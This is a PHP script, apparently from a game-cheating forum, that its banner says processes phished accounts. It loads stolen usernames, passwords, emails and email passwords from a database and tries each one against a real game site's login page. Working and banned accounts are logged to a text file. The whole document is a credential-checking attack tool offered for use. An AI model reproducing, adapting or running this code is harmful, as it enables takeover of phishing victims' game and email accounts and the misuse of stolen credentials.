Account Verification [PHP]

<?php
ini_set("max_execution_time", "1000");
set_time_limit(1000);
$mysqli = new mysqli("localhost", "root", "password", "database");


$query = "SELECT * FROM `cf_accounts` ORDER BY `id` DESC";
$result = $mysqli->query($query);


$datetime = date("F j, Y, g:i a");
$filename = date("His").".txt";
$handle = fopen($filename, 'w') or die("can't open file");
fclose($handle);


$line1 = "+----------------------------------------+" . PHP_EOL;
$line2 = "| Phished by Poedeltje from www.MPGH.net |" . PHP_EOL;
$line3 = "| Don't re-publish without permission.   |" . PHP_EOL;
$line4 = "| Generated at ".$datetime."  |" . PHP_EOL;
$line5 = "+----------------------------------------+" . PHP_EOL;
$line6 = " " . PHP_EOL;
$total = $line1.$line2.$line3.$line4.$line5.$line6;


$f = fopen($filename, 'a+');
fwrite($f, $total);
fclose($f);


while($row = $result->fetch_assoc()) {
    $url = 'http://clan.z8games.com/loging/globelogin.aspx';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url); 
    $html = file_get_contents($url);
    preg_match('~<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*?)\" />~',$html,$viewstate);
    preg_match('~<input type=\"hidden\" name=\"__EVENTVALIDATION\" id=\"__EVENTVALIDATION\" value=\"(.*?)\" />~',$html,$eventvalidation);
    $vstate = $viewstate[1];
    $eval = $eventvalidation[1];
    $post_fields='__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=' . urlencode($vstate) . '&__EVENTVALIDATION=' . urlencode($eval) . '&tb_loginid=' . $row['username'] . '&tb_password=' . $row['password'] . '&ib_login.x=11&ib_login.y=19';
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_ENCODING, "");
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7s");
    curl_setopt($ch, CURLOPT_REFERER, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $store = curl_exec($ch);
    if (stripos($store, "Deposit") !== false) {
        $data = 'Username: ' . $row['username'] . ' | Password: ' . $row['password'] . ' | E-mail: ' . $row['email'] . ' |  E-mail password: ' . $row['emailpw'] . ' ' . PHP_EOL;
        $f = fopen($filename, 'a+');
        fwrite($f, $data);
        fclose($f);
    } elseif(preg_match('~Account is blocked. Reason: Hack Please contact support for more information and assistance. Thank you.~', $store)) {
        $data = 'Username: ' . $row['username'] . ' | Password: ' . $row['password'] . ' | E-mail: ' . $row['email'] . ' |  E-mail password: ' . $row['emailpw'] . ' (Banned)' . PHP_EOL;
        $f = fopen($filename, 'a+');
        fwrite($f, $data);
        fclose($f);
    } else {
        //niks
    }
    curl_close($ch);
    file_put_contents("cookie.txt", "");
}


$linecount = 0;
$handle = fopen($filename, "r");
while(!feof($handle)){
  $line = fgets($handle);
  $linecount++;
}
fclose($handle);


$linecount1 = $linecount-7;


echo 'Done, file location: <br>"'. $filename .'"<br /><br /><i>(There are '.$linecount1.' accounts.)</i>';
?>